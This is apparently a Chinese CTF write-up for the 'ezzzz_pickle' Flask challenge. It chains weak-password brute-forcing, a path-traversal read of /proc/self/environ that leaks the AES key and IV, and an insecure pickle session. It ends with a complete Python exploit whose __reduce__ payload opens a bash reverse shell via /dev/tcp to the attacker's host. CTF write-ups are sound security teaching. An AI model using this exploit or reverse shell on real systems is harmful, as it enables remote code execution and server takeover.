共计8920个字符,预计需要花费23分钟才能阅读完成。
题目
标题是 ezzzz_pickle,肯定和 pickle 模块有关系。
这个是解题后顺便爆出的源码:
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {"admin": "admin123",}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')
return session
def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/",methods=['GET','POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.form.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)
思路
刚进入这个题目就要求我们输入用户名和密码:
猜测应该是弱密码,直接用 WebCrack 爆破:
git clone https://github.com/yzddmr6/WebCrack
cd WebCrack
pip install -r requirements.txt
python3 webcrack.py
得到用户名和密码分别是 admin
和admin123
。继续登录:
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hello Page</title>
</head>
<body>
<h1>Hello, admin!</h1>
<!-- hint:session_pickle -->
<h1></h1>
<form method="POST" action="/">
<input type="hidden" name="filename" value="fake_flag.txt">
<button type="submit" class="btn btn-login"> 读取 flag</button>
</form>
</body>
</html>
注意到<!-- hint:session_pickle -->
,提示我们用 pickle 反序列化注入 session。再仔细看看 <input type="hidden" name="filename" value="fake_flag.txt">
,好像还有个文件读取的漏洞。
将 value="fake_flag.txt"
改成 value="/proc/self/environ"
可以当前程序的环境变量,返回:
PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=38442838d9fb435bPYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/
根据 PWD=/app
可知程序在该目录下,读取 /app/app.py
可以得到源码:
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {"admin": "admin123",}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')
return session
def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/",methods=['GET','POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.form.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)
第 76 行 会出现 pickle 的反序列化漏洞,但这里程序先进行了解密(先 AES 解密(72 行)再 BASE64 解密(73 行))。因此我们要用到刚才环境变量中的SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
和SECRET_iv=asdwdggiouewhgpw
,先序列化:
class User:
def __init__(self):
self.username = "admin"
self.expires = 1941144899
def __reduce__(self):
return eval, ("__import__('os').system('sleep 3')",)
data = User()
print(pickle.dumps(data))
打印出来的就是 pickle 将 User 类序列化后的原始数据。在反序列化时,pickle 会自动执行 reduce 里面的方法,就会造成任意命令执行的漏洞,这个漏洞是十分危险的!那么我们再将数据根据刚才的程序加密,就能得到危险的 session:
import base64
import pickle
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
if __name__ == "__main__":
def generate_key_iv():
key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
iv = "asdwdggiouewhgpw".encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode="encrypt"):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == "encrypt":
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == "decrypt":
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = (decryptor.update(encrypted_data_bytes) + decryptor.finalize())
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
class User:
def __init__(self):
self.username = "admin"
self.expires = 1941144899
def __reduce__(self):
# 任意命令执行
return eval, ("__import__('os').system(\"bash -c 'exec bash -i >& /dev/tcp/ 你的 IP/ 你的端口 0>&1 2>&1'\")",
)
data = User()
# 序列化数据
pickled_data = pickle.dumps(data)
# BASE64 加密
pickled_data = base64.b64encode(pickled_data).decode("utf-8")
# 根据源程序的 AES 加密
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode="encrypt")
# 结果
print(session)
将得到的结果放入浏览器的 Cookie 里面,刷新一下页面:
我这里直接反弹了 bash 给我的主机,获得控制权:
最终 Payload
jn4MYzY+mUVADRPVP3QhdKEwsCduzFuRhsCVSMgVpa6kjJo9HlI+/MmfCPM6vLgn6aUgm0saMuRsTnCGStWKWYsdkTCHvu4cIwvJW8PwfY3ajE1KxmtkTUQkH0DywE73zKilTzL93ueiyLRNwAJcyQrlffpl/q0fH99r7/Z8JsODdpsGPh8ue9xW0k+h8cxgSIqleTvAvRjv7uE+VY2g2g==